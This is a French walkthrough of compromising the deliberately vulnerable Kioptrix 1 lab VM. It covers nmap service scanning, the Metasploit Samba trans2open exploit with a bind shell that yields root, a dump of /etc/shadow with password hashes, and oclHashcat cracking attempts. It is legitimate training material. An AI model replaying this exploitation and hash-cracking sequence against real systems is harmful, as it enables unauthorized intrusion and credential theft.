Walkthrough Kioptrix 1

Pour faire passer le temps, il m'arrive par moments de lancer une VM volontairement trouée à compromettre. A ce sujet, il en existe une très bonne liste sur le Poster Ultime du Pentest du SANS. Pour me changer les idées, j'ai lancé la première VM "Kioptrix" ce soir (que je connaissais de nom, mais j'étais persuadé jusqu'à ce soir qu'il s'agissait d'une n-ième distribution Linux orientée pentest comme BackTrack/Kali, Pentoo ou BlackArch).

Alors je la lance une première fois dans mon VMware, et je voyage d'au moins 10 ans dans le passé. Je n'avais plus vu d'écran de boot Linux tel que celui-ci depuis ... ben 10 ans. Je tombe sur le message de bienvenue (/etc/issue pour ceux qui n'ont jamais eu l'occasion de toucher à ce fichier) me disant en substance que le but est de passer root. Challenge Accepted. D'autant plus que sur un système ayant l'air d'avoir au moins 10 ans, ça ne sera franchement pas difficile.

Je relance donc la VM histoire de faire ça proprement et le documenter. Surtout, je fixe l'interface réseau sur laquelle le système va apparaître. Je choisis "vmnet8".

Je ne connais pas son adresse IP, mais vu que j'ai set la kioptrix sur l'interface vmnet8, j'ai fat un "ifconfig vmnet8", regardé mon ip et le masque réseau correspondant puis j'ai scanné la rangée d'adresses IP correspondant avec nmap en mode service scan (-sV) pour avoir les bannières.

J'obtiens les services suivants :

192.168.115.130  111   tcp    rpcbind      open   2 RPC #100000

192.168.115.130  80    tcp    http         open   Apache httpd 1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

192.168.115.130  22    tcp    ssh          open   OpenSSH 2.9p2 protocol 1.99

192.168.115.130  139   tcp    netbios-ssn  open   Samba smbd workgroup: MYGROUP

192.168.115.130  443   tcp    http         open   Apache httpd 1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

192.168.115.130  1024  tcp    status       open   1 RPC #100024

A partir de là, j'envisage les scénarios suivants :

- vulnérabilités affectant Apache
- vulnérabilités affectant Samba
- vulnérabilités affectant les services RPC (par contre eux je les connais assez mal)
- vulnérabilités affectant d'éventuelles applications web

Je regarde quand même ce qui tourne sur les ports 80/443 en lançant un nikto, qui ne me relève rien d'intéressant. Je peux aussi lancer un DirBuster, mais la perspective de lancer un outil en Java qui va flinguer ma batterie de laptop ne me réjouit pas (je vais ajouter "recoder DirBuster" sur ma TODO list, à côté de "voir si skipfish fait l'affaire pour remplacer DirBuster").

Je regarde donc la liste des exploits disponibles dans metasploit (ouais, c'est de la triche mais on est en 2014) visant Apache, mais il y en a un peu trop, et à peu près aucun ne me semble réellement pertinent (surtout du win32 on va dire). Je me dis que je regarderai plus tard, mais la version d'Apache me rappelle un exploit qui date un peu (openssl-too-open) qui avait fait de gros ravages il y a quelques années (2003 de mémoire - à l'époque il était fréquent de crawler Netcraft pour trouver des serveurs vulnérables à ce truc, shodan n'existait pas encore), mais c'est le mod_ssl qui était surtout concerné. Je regarderai plus tard si rien d'autre ne fonctionne.

Je regarde donc les vulnérabilités Samba via un "search samba" dans metasploit. Il y en a un qui sort du lot :

exploit/linux/samba/trans2open                  2003-04-07       great      Samba trans2open Overflow (Linux x86)

Je l'essaie avec un shellcode de type bind_tcp :

msf exploit(trans2open) > set PAYLOAD linux/x86/shell/bind_tcp
PAYLOAD => linux/x86/shell/bind_tcp
msf exploit(trans2open) > exploit

[*] Started bind handler
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Sending stage (36 bytes) to 192.168.115.130
[*] Command shell session 2 opened (192.168.115.1:53449 -> 192.168.115.130:4444) at 2014-06-02 23:00:14 +0200

ls
id
uid=0(root) gid=0(root) groups=99(nobody)
Hop gagné, root. Je récupère le fichier shadow pour le cracker :

cat /etc/shadow
root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7:::
bin:*:14513:0:99999:7:::
daemon:*:14513:0:99999:7:::
adm:*:14513:0:99999:7:::
lp:*:14513:0:99999:7:::
sync:*:14513:0:99999:7:::
shutdown:*:14513:0:99999:7:::
halt:*:14513:0:99999:7:::
mail:*:14513:0:99999:7:::
news:*:14513:0:99999:7:::
uucp:*:14513:0:99999:7:::
operator:*:14513:0:99999:7:::
games:*:14513:0:99999:7:::
gopher:*:14513:0:99999:7:::
ftp:*:14513:0:99999:7:::
nobody:*:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::
rpm:!!:14513:0:99999:7:::
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::
nfsnobody:!!:14513:0:99999:7:::
nscd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::
apache:!!:14513:0:99999:7:::
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::

Je passe le root à oclHashcat avec la wordlist "rockyou" mais sans succès. Je lance donc un bruteforce (-m 500 pour le format de mots de passe (FreeBSD-MD5), et -a 3 pour le mode bruteforce). A l'heure où je rédige ces lignes, le cassage est encore en cours, mais je l'arrêterai à 8 caractères (oclHashcat m'indique 10 heures restantes pour les mots de passe de 7 caractères). EDIT: je l'ai laissé tourner 1 semaine, sans résultats. Il m'annonçait 2 semaines pour couvrir les mots de passe de 8 caractères avec le charset standard.